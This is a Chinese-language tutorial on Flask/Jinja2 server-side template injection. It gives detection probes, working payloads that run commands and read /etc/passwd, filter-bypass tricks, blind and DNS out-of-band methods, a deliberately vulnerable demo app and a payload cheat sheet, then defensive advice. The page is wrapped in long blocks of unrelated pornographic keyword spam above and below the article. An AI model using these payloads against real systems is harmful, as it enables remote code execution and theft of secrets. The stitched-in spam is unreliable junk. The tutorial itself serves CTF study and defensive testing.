欧美成人午夜精品久久久,国产?V天堂一区二区三区,欧美精品va在线观看,亚洲一区二区三区免费在线观看,av无码精品一区二区久久,欧美性爱视频不卡一区三区,欧美乱人伦视频在线观看,国产一级牲交高潮

ARTICLE DETAIL

資訊詳情

深耕商務(wù)建站與企業(yè)官網(wǎng)運(yùn)營(yíng)的一線實(shí)戰(zhàn)洞察。

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過防御

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過防御 第一次在CTF里碰到SSTI的人十有八九會(huì)一臉懵一條報(bào)錯(cuò)信息明明是jinja2.exceptions.UndefinedError怎么轉(zhuǎn)手payload就能讀到服務(wù)器上的文件如果你也有過這種體驗(yàn)?zāi)沁@篇應(yīng)該能幫你把SSTI從聽說過變成徹底搞懂。我會(huì)以Flask為例子從服務(wù)端模板注入的原理講起把檢測(cè)技巧、常見payload、過濾繞過和防御手段全部拆開一條條揉碎了講清楚。全文面向安全測(cè)試人員、CTF玩家以及怕自己業(yè)務(wù)接口被注入的開發(fā)同學(xué)——不管你是要打題、做測(cè)試還是寫代碼的時(shí)候想避坑都能從這里找到想要的答案。1. SSTI到底是什么從一個(gè)翻譯過程的失控說起1.1 模板引擎在幫我們翻譯什么先理解正常渲染流程要理解服務(wù)端模板注入得先弄清楚模板引擎是怎么工作的。以Flask默認(rèn)的Jinja2為例它的核心思路很簡(jiǎn)單把一份帶占位符的文本當(dāng)作模板運(yùn)行時(shí)把變量填充進(jìn)去生成最終的HTML或文本返回給用戶。一個(gè)最最基本的例子from flask import Flask, render_template_string app Flask(__name__) app.route(/hello/name) def hello(name): template h1Hello, {{ name }}!/h1 return render_template_string(template, namename)正常請(qǐng)求/hello/world模板引擎會(huì)解析{{ name }}這個(gè)表達(dá)式把變量name的值world填充進(jìn)去返回h1Hello, world!/h1。這個(gè)流程平時(shí)沒有任何問題因?yàn)槟0謇锏谋磉_(dá)式是開發(fā)者寫死的變量的值由用戶提供。但注意Jinja2在渲染時(shí)并不是簡(jiǎn)單做字符串替換而是先把模板文本編譯成Python字節(jié)碼再執(zhí)行。換句話說模板里{{ ... }}和{% ... %}的內(nèi)容本質(zhì)上參與了一次代碼求值。如果某部分模板內(nèi)容本身就來自用戶輸入那這就不再是填充變量而是給了用戶一個(gè)在服務(wù)器上執(zhí)行Python表達(dá)式甚至命令的機(jī)會(huì)。這就是SSTI服務(wù)端模板注入Server-Side Template Injection。1.2 注入的根源用戶輸入被當(dāng)成了代碼而不是數(shù)據(jù)我見過很多朋友把SSTI和XSS搞混。兩者的共同點(diǎn)是都會(huì)在輸出層面做測(cè)試但XSS的利用目標(biāo)是瀏覽器SSTI的利用目標(biāo)是服務(wù)器本身嚴(yán)重程度天差地別。SSTI產(chǎn)生的根本原因可以總結(jié)成一句話不可信數(shù)據(jù)進(jìn)入了模板編譯的代碼路徑。常見寫法是哪些最容易踩坑的就是render_template_string因?yàn)楹芏嘟坛潭紩?huì)教新手把用戶參數(shù)直接拼進(jìn)模板字符串a(chǎn)pp.route(/page) def page(): tpl request.args.get(tpl, ) return render_template_string(h1 tpl /h1)也有一些框架或者快速原型項(xiàng)目會(huì)把整段頁面源碼存在數(shù)據(jù)庫里由管理員或者運(yùn)營(yíng)人員在后臺(tái)編輯再通過模板引擎渲染。如果誰能控制這段模板內(nèi)容權(quán)限配置不當(dāng)、數(shù)據(jù)庫注入、后臺(tái)邏輯漏洞效果和直接拿到命令執(zhí)行是等價(jià)的。判斷到底是不是SSTI最簡(jiǎn)單的思路是提交一個(gè)原本應(yīng)該被當(dāng)成數(shù)據(jù)的字符串結(jié)果里面如果包含了模板語法并且被當(dāng)成邏輯解析并執(zhí)行那這就是注入點(diǎn)。1.3 初步確認(rèn)最小化探測(cè)payload進(jìn)入實(shí)戰(zhàn)前先記牢三類探測(cè)方法。第一種是純算術(shù)表達(dá)式比如提交{{7*7}}如果返回49基本可以斷定是Jinja2或者其他支持算術(shù)運(yùn)算的模板引擎。第二種是字符串拼接提交{{ab}}如果返回ab同樣能說明表達(dá)式被執(zhí)行。第三種是注釋或者無意義表達(dá)式看回顯判斷是否觸發(fā)報(bào)錯(cuò)以及報(bào)錯(cuò)內(nèi)容是否泄露模板引擎類型。實(shí)測(cè)中我更喜歡先提交一個(gè){{7*7}}再提交一個(gè)${7*7}。兩者結(jié)果一對(duì)比就能分辨引擎類型——Jinja2返回49而${...}在很多Java模板引擎比如FreeMarker里是標(biāo)準(zhǔn)語法。一個(gè)字符串一次性測(cè)兩種引擎效率最高。但這里要提醒一句如果你提交{{7*7}}發(fā)現(xiàn)頁面還是原樣返回{{7*7}}并不代表沒有SSTI有可能是模板引擎把輸入做了轉(zhuǎn)義也可能是輸入在到達(dá)模板前就被拼接到了不該拼接的地方。這就需要進(jìn)一步觀察報(bào)錯(cuò)頁面和響應(yīng)差異。2. 原理追查Jinja2的變量解析和Python對(duì)象模型2.1 表達(dá)式、過濾器、全局變量Jinja2的求值規(guī)則既然要去構(gòu)造payload就得先搞清楚Jinja2支持哪些語法。模板里最常見的三種結(jié)構(gòu){{ expr }}輸出一個(gè)表達(dá)式的值{% statement %}執(zhí)行控制流語句比如if、for{# comment #}是注釋。在{{ ... }}內(nèi)部我們可以使用變量、字面量、算術(shù)運(yùn)算符、比較運(yùn)算符、邏輯運(yùn)算符還可以用管道符調(diào)用過濾器比如{{ name|upper }}。這些都是模板引擎提供給開發(fā)者的能力。但SSTI真正要用的并不只是這些常規(guī)操作而是要借助Python對(duì)象模型本身提供的能力。Jinja2有一個(gè)非常重要的特性它允許訪問對(duì)象的屬性和方法。寫法有{{ obj.attr }}和{{ obj[attr] }}兩種。表面上這只是個(gè)取值操作但一旦我們能拿到對(duì)象的內(nèi)部屬性比如__class__、__init__就等于拿到了通往底層的鑰匙。Jinja2自帶一些全局變量比如configFlask的配置對(duì)象、self當(dāng)前模板上下文、request、session、g等等。其中config是最友好的信息收集目標(biāo)一個(gè){{config}}往往就能泄露SECRET_KEY、數(shù)據(jù)庫連接串等敏感信息。2.2 MRO與魔術(shù)方法為什么SSTI能一路爬到系統(tǒng)命令現(xiàn)在進(jìn)入最關(guān)鍵的部分。Python一切皆對(duì)象而對(duì)象的類型、父類、方法列表都可以通過幾個(gè)魔術(shù)方法拿到__class__獲取當(dāng)前對(duì)象的類。__mro__返回一個(gè)元組包含當(dāng)前類以及它的所有父類順序按照方法解析順序排列。__bases__返回當(dāng)前類的直接父類。__subclasses__()返回當(dāng)前類的所有直接子類列表。__init__構(gòu)造函數(shù)。__globals__如果作用于某個(gè)函數(shù)返回一個(gè)字典包含該函數(shù)所在模塊的全部全局變量。SSTI利用鏈的思路可以概括為從任何一個(gè)對(duì)象出發(fā)先拿到它的類再通過類找父類最后到達(dá)object或者某個(gè)工具類然后通過__subclasses__()拿到當(dāng)前進(jìn)程里所有類的列表從中挑選能夠做危險(xiǎn)操作的類。舉個(gè)例子空字符串是一個(gè)字符串對(duì)象.__class__就是class str.__class__.__mro__會(huì)返回(class str, class object)。這里很多教程會(huì)直接用__mro__[1]或者_(dá)_mro__[2]看起來索引值不穩(wěn)定其實(shí)是因?yàn)槠瘘c(diǎn)對(duì)象不同索引位置可能有差異。最好的習(xí)慣是先用__mro__看看返回幾個(gè)父類再選擇真正指向object的那一個(gè)下標(biāo)。拿到object之后調(diào)用__subclasses__()會(huì)得到當(dāng)前Python解釋器里已經(jīng)加載的所有類的列表。這里面會(huì)有os._wrap_close、subprocess.Popen、warnings.catch_warnings、file僅Python2等一大批可以利用的類。它們都是object的直接或間接子類所以在列表里一定能找到。2.3 版本差異Python2和Python3下的不同路線這塊很容易讓人踩坑。Python2的object子類列表里直接有一個(gè)type file它對(duì)應(yīng)的構(gòu)造函數(shù)可以用來讀取文件.__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()但在Python3中file類型已經(jīng)不存在了同樣的索引位置可能是完全不同的類必須尋找io._IOBase、io.TextIOWrapper等替代類或者直接找os相關(guān)的類來拼命令執(zhí)行。實(shí)操中最穩(wěn)定、最有代表性的做法是遍歷子類列表用特征類名定位。比如{% for x in ().__class__.__mro__[1].__subclasses__() %} {% if os in x.__module__ %} {{ x.__module__ }}.{{ x.__name__ }} {% endif %} {% endfor %}這種思路之所以可靠是因?yàn)槲覀儾皇强坑簿幋a的索引位置而是靠模塊路徑和類名特征去匹配。在跑批量測(cè)試和寫自動(dòng)化腳本的時(shí)候哪怕Python小版本升級(jí)導(dǎo)致類列表順序變化這套方案依然能命中只是需要額外寫一點(diǎn)解析邏輯。3. 常用payload全梳理一條鏈路打到命令執(zhí)行3.1 最基礎(chǔ)的探測(cè)與信息收集我把平時(shí)用的比較高頻的基礎(chǔ)探測(cè)payload整理一下。假設(shè)注入點(diǎn)在render_template_string的參數(shù)里我們需要分階段推進(jìn)。第一階段是確認(rèn)。提交{{7*7}}看回顯是否是49??梢允莧{7*7}}這樣如果引擎執(zhí)行了字符串乘法結(jié)果是一連串7也能判斷表達(dá)式執(zhí)行了。第二階段是信息收集。提交{{config}}如果Flask應(yīng)用開啟了調(diào)試或者模擬環(huán)境配置沒被隱藏頁面會(huì)直接顯示配置字典里面可能有SECRET_KEY、數(shù)據(jù)庫URI等敏感值。提交{{self}}可以得到模板對(duì)象本身的信息也有時(shí)候會(huì)順帶泄露一些全局上下文。第三階段是定位可利用對(duì)象。一個(gè)經(jīng)典payload是{{ [].__class__.__mro__[1].__subclasses__() }}這里[]是列表對(duì)象__class__拿到list__mro__[1]直接指向object再拿所有子類。輸出列表可能非常長(zhǎng)但沒關(guān)系我們要的就是這份列表從里面挑能用的類。3.2 從當(dāng)前對(duì)象到任意類subclasses遍歷技巧真正要打命令執(zhí)行我最常用的路線是這樣一條{{ .__class__.__mro__[2].__subclasses__() }}這條利用的就是空字符串對(duì)象。為什么從空字符串開始因?yàn)椴还苁怯昧斜?、字典、還是整數(shù)對(duì)象我們最終都要回到object而寫起來最短方便嵌套和拼接。問題是怎么在Payload中快速定位有用的子類手工維護(hù)一個(gè)索引是可行的但不同題目不同環(huán)境結(jié)果不同線上環(huán)境又不想每次都打印幾百行。推薦兩種方式。第一種是用模板自身循環(huán)遍歷子類列表通過名字或模塊名篩選出目標(biāo)比如搜索subprocess.Popen或os._wrap_close{% set stream cycler.__init__.__globals__.os.popen %} {{ stream(id).read() }}第二種是直接在模板里遍歷并且把符合條件的類一次性打印出來{% for x in ().__class__.__bases__[0].__subclasses__() %} {% if catch_warnings in x.__name__ %} {{ x.__init__.__globals__ }} {% endif %} {% endfor %}值得說明的是cycler、joiner、namespace這些都是Jinja2內(nèi)置對(duì)象它們自帶__init__.__globals__里面通常能直接找到os模塊、__builtins__等好東西比盯著subclasses列表一條條翻要快得多。3.3 命令執(zhí)行和文件讀取一條鏈路打通命令執(zhí)行的通式一般長(zhǎng)這樣核心是利用某個(gè)函數(shù)對(duì)象拿到__globals__再通過__builtins__或os去執(zhí)行命令{{ .__class__.__mro__[2].__subclasses__()[position].__init__.__globals__[__builtins__][__import__](os).popen(cat /etc/passwd).read() }}position指的是目標(biāo)類在__subclasses__()返回列表中的位置。比如warnings.catch_warnings類在多數(shù)環(huán)境里位置往往比較靠前可以直接用{{ .__class__.__mro__[2].__subclasses__()[139].__init__.__globals__[__builtins__] }}拿到__builtins__以后再順著它去找__import__或者直接訪問os.popen、os.system。有一點(diǎn)要注意__globals__只有在作用于函數(shù)對(duì)象時(shí)才存在作用于類對(duì)象有時(shí)會(huì)報(bào)錯(cuò)。文件讀取的路線也類似。Python3里可以用open函數(shù)通過__builtins__直接打開文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}或者找到_io.FileIO、io.TextIOWrapper等類手動(dòng)實(shí)例化但那條路要傳模式參數(shù)代碼一長(zhǎng)寫起來就費(fèi)勁。所以我一般優(yōu)先打__builtins__里的內(nèi)置函數(shù)如果被過濾再考慮類實(shí)例化路線。3.4 快速參考常用payload速查表為了打題和自查方便我整理了一張速查表可以直接抄但順手記一下原理更好。目標(biāo)Payload示例說明基礎(chǔ)探測(cè){{7*7}}返回49則說明表達(dá)式被求值Flask配置泄露{{config}}可能暴露SECRET_KEY等敏感信息獲取當(dāng)前對(duì)象類名{{ .__class__ }}返回str類獲取object類{{ .__class__.__mro__[1] }}得到object類列出所有子類{{ [].__class__.__mro__[1].__subclasses__() }}大列表讀取文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}用內(nèi)置open命令執(zhí)行{{ cycler.__init__.__globals__.os.popen(id).read() }}利用Jinja2內(nèi)置對(duì)象全局變量命令執(zhí)行備選{{ .__class__.__mro__[2].__subclasses__()[x].__init__.__globals__[__builtins__][__import__](os).popen(id).read() }}遍歷定位x表里面最后一條的[x]必須根據(jù)實(shí)際環(huán)境來定這也是寫自動(dòng)化掃描腳本時(shí)經(jīng)常要處理的一環(huán)。4. 過濾與繞過實(shí)戰(zhàn)里真正考驗(yàn)人的地方4.1 常見過濾規(guī)則前文說的都是沒有過濾的理想場(chǎng)景。真正要面對(duì)的題目或者真實(shí)系統(tǒng)多少會(huì)做一些WAF或參數(shù)校驗(yàn)。總結(jié)下來最常見的過濾類型大概有五種過濾關(guān)鍵字比如__class__、popen、os、過濾特殊字符_、[、]、單雙引號(hào)、過濾數(shù)字、過濾{{ }}以及過濾一些內(nèi)置函數(shù)名。第一種最好辦用字符串拼接繞過。第二種比較頭疼因?yàn)楹芏嗄0遄⑷朦c(diǎn)在數(shù)組下標(biāo)或者屬性訪問上都依賴[]和雙下劃線。第三種常見于需要傳數(shù)字索引的payload可以通過模板自身的解析技巧繞過。第四種最麻煩如果連{{和{%都被轉(zhuǎn)義那基本沒有注入點(diǎn)了但很多時(shí)候它們的過濾并不完整只在輸入層替換一次。4.2 經(jīng)典的繞過組合先說過濾[]。不管是__getitem__還是模板自帶的attr過濾器都能替代中括號(hào)下標(biāo)訪問。例如.__class__如果被過濾可以寫成|attr(__class__)。在Jinja2里這算是最優(yōu)雅的一種繞法。如果單雙引號(hào)也被過濾我們可以用request.args獲取URL參數(shù)讓payload里不再出現(xiàn)引號(hào)或者下劃線{{ request.args.f }}配合URL請(qǐng)求{{ cycler.__init__.__globals__.os.popen(request.args.cmd).read() }}cmdid如果下劃線_被過濾可以用十六進(jìn)制編碼、Unicode編碼或者通過\x5f拼接繞過。比如__class__可以寫成\x5f\x5fclass\x5f\x5f在Python解釋器看來\x5f就是下劃線字符。不過要注意Jinja2的解析層相對(duì)嚴(yán)格某些編碼方式在模板表達(dá)式里不一定生效實(shí)測(cè)中需要根據(jù)報(bào)錯(cuò)逐步調(diào)整。如果關(guān)鍵字os、popen被過濾可以做拼接{{ cycler.__init__.__globals__[os].popen(id).read() }}Jinja2會(huì)先做字符串拼接再去做屬性訪問這一步恰好能繞過很多簡(jiǎn)單的詞法過濾。4.3 無回顯下的盲打思路有些環(huán)境不會(huì)把模板渲染結(jié)果直接輸出只返回200或404。這時(shí)候就要走盲注或者帶外通道。最常用的是利用命令執(zhí)行后的時(shí)間延遲比如調(diào)os.system(sleep 5)看響應(yīng)時(shí)間是否明顯增加用時(shí)間差確認(rèn)漏洞存在。也可以用DNS外帶的方式確認(rèn)命令執(zhí)行成功把whoami的結(jié)果拼到域名里發(fā)出去在外部記錄到解析請(qǐng)求就說明命令已經(jīng)執(zhí)行。這類盲打的關(guān)鍵在于不能太依賴頁面回顯要在日志和響應(yīng)時(shí)間上找信號(hào)。如果命令執(zhí)行被限制也可以退而求其次先盲讀文件用布爾條件來判斷文件內(nèi)容類似SQL注入里的盲注思路。比如在模板里判斷某個(gè)文件是否存在存在就配置不同的響應(yīng)。這種方案的效率不算高但屬于兜底手段值得掌握。5. 本地實(shí)操搭個(gè)漏洞環(huán)境走一遍完整鏈路5.1 最小化漏洞應(yīng)用說了這么多不如直接在本地把環(huán)境搭起來從零到一驗(yàn)證一遍。我用一個(gè)最簡(jiǎn)化的Flask應(yīng)用來做實(shí)驗(yàn)代碼如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) template h1Hello, name !/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000, debugTrue)本地跑起來以后訪問/?name{{7*7}}頁面返回Hello, 49!說明存在SSTI。建議加一句debugTrue好處是出錯(cuò)能看到詳細(xì)的報(bào)錯(cuò)棧能直觀看到模板編譯發(fā)生了異常。當(dāng)然生產(chǎn)環(huán)境千萬別這么寫我這是為了驗(yàn)證方便。5.2 走完整條利用鏈第一步先確認(rèn)表達(dá)式執(zhí)行。然后收集信息訪問/?name{{config}}頁面上會(huì)輸出Flask配置包括SECRET_KEY。這一步往往已經(jīng)能用來偽造session了如果實(shí)際測(cè)試目標(biāo)有登錄功能這已經(jīng)是一個(gè)高危風(fēng)險(xiǎn)點(diǎn)。第二步先拿子類列表。訪問/?name{{ [].__class__.__mro__[1].__subclasses__() }}頁面會(huì)輸出一大串類列表。復(fù)制下來搜索os._wrap_close或者warnings.catch_warnings記錄它的索引位置。我這次本地環(huán)境里os._wrap_close出現(xiàn)在第226位左右但你機(jī)器上的位置很可能不同所以動(dòng)態(tài)定位更重要。第三步構(gòu)造命令執(zhí)行payload/?name{{ [].__class__.__mro__[1].__subclasses__()[226].__init__.__globals__[os].popen(id).read() }}如果一切正常頁面會(huì)輸出uid...的用戶信息。到這一步SSTI已經(jīng)從一條報(bào)錯(cuò)變成了實(shí)打?qū)嵉拿顖?zhí)行。第四步讀取文件/?name{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}在Python3環(huán)境中這個(gè)payload應(yīng)該能夠讀出文件內(nèi)容。5.3 踩坑記錄為什么你的payload不通我在這塊踩過的坑不少總結(jié)幾個(gè)高頻問題。第一個(gè)是__globals__只有函數(shù)對(duì)象才有。很多人拿到某個(gè)類以后直接調(diào).__init__.__globals__但如果這個(gè)類不繼承任何函數(shù)或者_(dá)_init__本身不是Python函數(shù)而是內(nèi)置函數(shù)就會(huì)返回AttributeError或者得到預(yù)期之外的結(jié)果。解決方法是盡量選擇諸如warnings.catch_warnings.__init__這種由Python實(shí)現(xiàn)的方法來訪問。第二個(gè)是__subclasses__()返回的子類列表位置不穩(wěn)定。同一個(gè)應(yīng)用稍微改一條import語句、換一個(gè)Python小版本列表就會(huì)變。寫掃描器或者寫exp的時(shí)候不要硬編碼索引應(yīng)該用模塊名和類名做匹配。第三個(gè)是模板里直接使用[]方式訪問字典有時(shí)會(huì)觸發(fā)Jinja2的解析規(guī)則。Jinja2允許__globals__[os]這種寫法但某些版本對(duì)__globals__[__builtins__]這種雙下劃線鍵名解析有差異建議遇到報(bào)錯(cuò)時(shí)換成|attr過濾器或者用.__builtins__直接訪問屬性。第四個(gè)很隱蔽{{config}}能輸出不等于{{config.__class__}}也能輸出。Flask的config對(duì)象繼承自字典但有些版本里直接訪問它的__init__會(huì)拿到一個(gè)純內(nèi)部的構(gòu)造器里面沒有__globals__。很多時(shí)候要繞一下先走config.__class__.__mro__找到object再按老路子走。6. 怎么防給同樣在被SSTI困擾的人6.1 代碼層的防御思路防御SSTI最核心的一條就是永遠(yuǎn)不要把模板字符串的來源交給用戶控制。如果你非要?jiǎng)討B(tài)渲染那至少要做到用戶輸入只作為變量的值傳給模板而不是作為模板文本本身。正確的Flask寫法是這樣的app.route(/hello/name) def hello(name): return render_template_string(h1Hello, {{ name }}!/h1, namename)這樣用戶輸入哪怕包含{{7*7}}也只會(huì)被當(dāng)作字符串值渲染輸出而不會(huì)被當(dāng)成模板邏輯執(zhí)行。另一個(gè)建議是盡量使用render_template去加載獨(dú)立的模板文件少用render_template_string。哪怕動(dòng)態(tài)拼模板也一定不要直接拼用戶數(shù)據(jù)。如果需要給用戶提供有限的模板能力可以考慮用Jinja2沙箱從環(huán)境配置上禁用危險(xiǎn)的函數(shù)和屬性訪問。但要注意純靠沙箱攔不住所有情況因?yàn)槟0逡姹旧硖峁┑膶?duì)象已經(jīng)足夠豐富一旦某個(gè)全局對(duì)象能被訪問攻擊者可能從它身上繞回危險(xiǎn)函數(shù)。所以沙箱只能作為輔助不能當(dāng)作唯一防線。6.2 配置與運(yùn)維加固除了代碼層面運(yùn)維和框架配置也要跟上。比如把Flask的DEBUG模式關(guān)閉避免報(bào)錯(cuò)頁面泄露堆棧信息生產(chǎn)環(huán)境不要暴露模板源碼路徑給Web應(yīng)用單獨(dú)設(shè)置低權(quán)限用戶別用root跑應(yīng)用讓它即使被攻破也沒辦法讀取太多敏感文件對(duì)外部輸入做輸入長(zhǎng)度限制比如限制單參數(shù)長(zhǎng)度雖然不能從根本上防注入但能明顯增加攻擊成本。另一種更穩(wěn)妥的隔離思路是讓模板渲染層和業(yè)務(wù)代碼完全分離。模板內(nèi)容放在獨(dú)立的文件甚至單獨(dú)的服務(wù)里不允許業(yè)務(wù)接口直接傳模板字符串。很多大型項(xiàng)目會(huì)直接用前端框架渲染頁面后端只返回JSON這樣SSTI的攻擊面自然就小了很多。6.3 常見問題排查速查現(xiàn)象可能原因解決思路{{7*7}}原樣輸出輸入被轉(zhuǎn)義或未進(jìn)入模板表達(dá)式檢查渲染位置、過濾邏輯{{7*7}}輸出49但{{config}}報(bào)錯(cuò)全局變量被禁用用self或request等替代__subclasses__()返回空沙箱攔截?fù)Q一條鏈子比如從cycler入手__globals__訪問報(bào)錯(cuò)目標(biāo)不是函數(shù)對(duì)象換一個(gè)函數(shù)型初始化器來訪問命令執(zhí)行失敗但探測(cè)成功被過濾了或目標(biāo)類無權(quán)限考慮盲打、繞過、或者換用文件讀取頁面返回500Payload語法或類型錯(cuò)誤用本地Jinja2環(huán)境逐段調(diào)試排查的時(shí)候我習(xí)慣先在本地裝一個(gè)同版本的Jinja2把payload扔進(jìn)render_template_string里做最小化驗(yàn)證確認(rèn)語法沒有問題再上目標(biāo)。這比直接在目標(biāo)機(jī)上試錯(cuò)要穩(wěn)得多。我個(gè)人踩過幾輪之后的體會(huì)是SSTI的利用鏈確實(shí)靈活得可怕但只要把握住數(shù)據(jù)不入模板編譯路徑這條底線防御思路其實(shí)非常簡(jiǎn)單。對(duì)開發(fā)者來說寫每行模板渲染代碼時(shí)都多想一步這個(gè)輸入會(huì)不會(huì)被當(dāng)成代碼執(zhí)行對(duì)測(cè)試人員來說先確保自己理解了Jinja2的求值順序和Python對(duì)象模型再動(dòng)手去打payload才能做到彈無虛發(fā)。安全這東西很多時(shí)候差的真不是技巧是那一層再往下挖一層的意識(shí)。
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
色99视频| 久草五月天| 免费无码毛片一区二区A片| 日韩精品一品二区三区的使用体验| 国产夫妻操逼内射视频| 丰满少妇猛烈A片免费看观看| 性色人人爽| 亚洲成人AV在线播放| 久久久久婷| 色视频五月天| 九九人人自拍| 日本va欧美va欧美精品88| 超碰妻人人| 久久免费视频62| 激情综合九| 久久久久er热| 综激情网| 99精品国产在热久久| 久久精品国产色| 五月天社区| 丁香五月色| 色五月网址| 天天爽在线视频| www.色综合| 日本狠狠爽| 久草热8精品视频在线观看| 甈吧vv| 欧美成人AAA片一区国产精品| 插插干干干色| 中文字幕婷婷在线| 青青草五月天| 97五月天婷婷| 天堂久久精品| 综合激情五月丁香| 激情五月少妇| 色婷五月天| 五月婷俺去也| 9精品国产在热久久| 五月丁六月香| aaaaa黄色| 2018国产大陆天天弄| er99免费视频在线| 性爱激情小说AV五月丁香花| 久9热| 伊人日日干| 琪琪色网址| 婷婷五月天六点丁香五月| www.五月婷| WWW五月| 久久久99精品免费观看| 五月激情婷婷丁香天堂| 色婷婷黄色网络| 777精品久无码人妻蜜桃| 996er在线观看| 亚洲精品一区无码A片| 欧洲高清免费久久| 丁香六月婷婷久久高清| 99视频这里有精品| 超碰操网| 婷婷五月天欧美图片在线播放电驴| 激情婷婷五月少妇| 香蕉久久国产AV一区二区| 亚洲色爱综合| 亚洲激情网站无码| 天堂网色色| 日韩aaaaa| 岛国av电影网站| 青青草99热久久精品国| 国产精品第一国产精品| 99精品在这里| 五月天婷婷久久视频| 激情五月色婷婷| 开心五月丁香综合久久| 五月天开心婷婷激情网站| 亚洲成人av在线观看| 久热最新视频| 久草五月婷婷| 丁香色情五月综合激情| 五月丁香狠狠爱| 丁香 婷婷 亚洲 熟女| 国产婷婷色综合AV蜜臀AV| 嫩草AV久久伊人妇女超级A| 国产在这里只有精品| 久久久五月天| 亚洲女婷婷五月基地综合久久久| 开心五月综合激情网| 久99热| 婷婷五月色综合| 色色色地址| 大香蕉娱乐| 丁香五月天婷婷中文| 激情综合网五月激情| site:feetmall.com| 久久婷.com| 91碰免费视频| 色五月婷婷五月天| 综合激情在线视频| 五月天激情婷婷久久| 91碰碰| 99玖玖精品| 五月婷在线| 欧美婷婷综合| 亚洲 五月 婷婷 成人| 99色婷婷视频| 99婷婷| 天天爽天天| 国产69精品久久久久999小说| 激情综合网五月激情网| www.夜夜.com| 久久99热 这里有精品| 婷婷丁香激情综合色情| 99人人操人人爱久久久| 婷婷丁香先锋资源网站| 久久综合五月情| 五月婷婷香| 天天爱天天吃狠天天透| 丁香午夜天| 成人AV在线网站| 色综合久久88色综合天天99| 亚洲av日韩无码| 台湾无码A片一区二区| 色综合综合色| 久99热在线观看| 九九精品视频在线观看| 99er6热在线观看精品6| av性爱在线| 婷久看人爽| 91九色网| 色热久资源| 九九精品综合| 激情五月天婷婷直播| 99热亚洲| 久久这里这里有精品免费视频| 久久婷狠狠色| 六月激情婷婷综合| 伊人久久大香线蕉av一区| 特黄三级又爽又粗又大| 九色porny在线观看激情四射| 五月丁香花成人社区| 超碰av在线| 这里只有精品2| 五月天丁香婷| 九九九九这里只有精品| 激情婷婷五月天| 五月天精品| 99视频内射三四| 综合久久综合| 人人干人人看| 色婷婷五月天激情在线观看| 狠狠人妻色综合| 久re热视频| 2025色婷婷| 亚洲欧美999| 久久久久思思热| 国产精品色一哟哟| 五月天综合在线观看| 蜜桃五月天| 久久这里有精品视频在线免费观看| 九六五月天婷婷| 五月丁香婷婷综合激情基地| 丁香五月婷综合网| www.色九月| 26uuu亚洲精品国产| 婷婷五月天综合色| 色婷婷亚洲婷婷| 激情五月天网站| 人人干99| 九九在线视频| 国内9l视频自拍老熟女九色| 97在线/亚洲| 欧美激情综合色综合啪啪五月| 久久久精品AV| 亚洲色情免费网| 婷婷丁香第一页| w婷婷五月婷婷w| 五月天久久综合婷婷丁香| 欧美va在线| 五月天婷婷综合网| 婷婷91| 大地资源色婷婷视频在线| 五月天激情综合网| 亚洲午夜国产成人电影VA国产欧…| 葵花AV在线| www.久久9| 亚洲五月天色色| 欧美网站视频4399| 五月天婷综合网站| 婷婷五月无码| 伊人在线视频| 精品操逼一区二区| 五月婷在线观看| 丁香亭亭久久| 玖玖资源站中文| 五月天婷婷成人| 夜夜躁婷婷AV| 国产精品18久久久| 啪精品| 中文在线视频久9| 久99久视频精选| 丁香五月伊人| 精品A√| 99无码| 激情五月天色色| 大战熟女丰满人妻AV| 超碰无码老师| 欧美激情综合| 亚洲12p| 色色五月婷婷| 夜夜躁爽日日| 婷婷激情五月| 色天天综合天天综合频道。| 精品在线网站| 97操操网| 激情综合五月丁香六月婷婷| 9|在线观看视频| 97色色视频| xx久久| 久久五月视频| 久久这里只有精品热在99| 免费观看欧美成人AA片爱我多深| 亚洲av网站| 中文超碰视在线| 亚洲九九视频| 开心五月婷婷综合在线精品素人| 青青草搞屄视频网站| 天天摸人人摸| 欧美交换配乱吟粗大25P| 91日本在线免费| 久久丁香五月综合六月激情红杏视频| 色色色色色色网站| av一级棒av| 黄色成人网站在线播放| 色天天综合| 婷婷五月天综合网| 日日舔夜夜操| 丁香美女主播视频在线观看 | 亚卅毛片| 日韩AC在线免费观看| 人人操97| 26uuu欧美日本| 看片视频在线免费日产在线看| av婷婷丁香| 无码地址| 五月丁香啪| 丁香六月情| 一级黄色操B| 五月丁香婷婷久久| 开心五月婷婷激情| 91色干| 久久午夜理论| 开心五月深爱五月| 99热这里有精品首页10| 亚洲成人五月天| 久久精品国产AV一区二区三区 | 五月婷无码| www.9797国产| 欧美α√| 99在线小视频| 激情小说五月欧美亚洲丁香| 大香蕉福利导航| 色情五月丁香婷婷网| 综合久久久| 婷婷综合干| 99热首页在线30| 91chinese在线| 国产精品丝| 亚洲人人96@| 婷婷六月激情| 婷婷色色丁香五月天| 夜夜综合色| www婷婷色| 色色影院aaaav| 99热这里只| 另类激情码| 激情五月天www| 日本超碰在线| 久久婷婷五月综合啪| 色人妻五月| 99色爱| 五月丁香啪啪激情| 五月丁香婷婷色| 中文字幕97超级碰| 91爱操| 人人干99| 欧美日韩成人| 丁香六月久久| 婷婷五月成人| 99热在这里只有免费精品| 五月婷婷色综图片| 色五月婷婷中文字幕| 中文字幕,综合,91| 狠狠久久婷| 久久婷婷六月综合| 五月天激情四射网站| 狠狠色噜噜| 狠狠爱婷婷五月天| 狠狠色噜噜狠狠| 五月天婷综合| 97碰碰视频| 欧洲不卡视频| 人人爱操| 婷婷五月天激情综合深爱激情| 日本色99网站| 狠狠操天天干| 九月av| 午夜九九九九九九九九九九九九九| 99色.com| 亚洲成人在线播放| 婷婷AV丁香| 思思久久99热只有频精品66| 九九精品在线网| H亚洲| 五月婷婷在线免费| 综合AV在线| 99综合| 婷婷五月天成人娱乐| 婷婷色五月丁香六月欧美啪| ji'qing'luan'ren'lun| 亚洲日本三级片| www夜夜操com| 九九综合| 婷婷五月五月丁香| 91成人电影| 久热无码| 欧美顶级少妇做爰HD| 夜夜夜叫天天天做| 日本在线99| 婷婷少妇激情| 亚色网站小视频| httpwww色com日本| 9久久久久久久久久久| 六月婷婷天天操夜夜爽视频| 香蕉视频91| 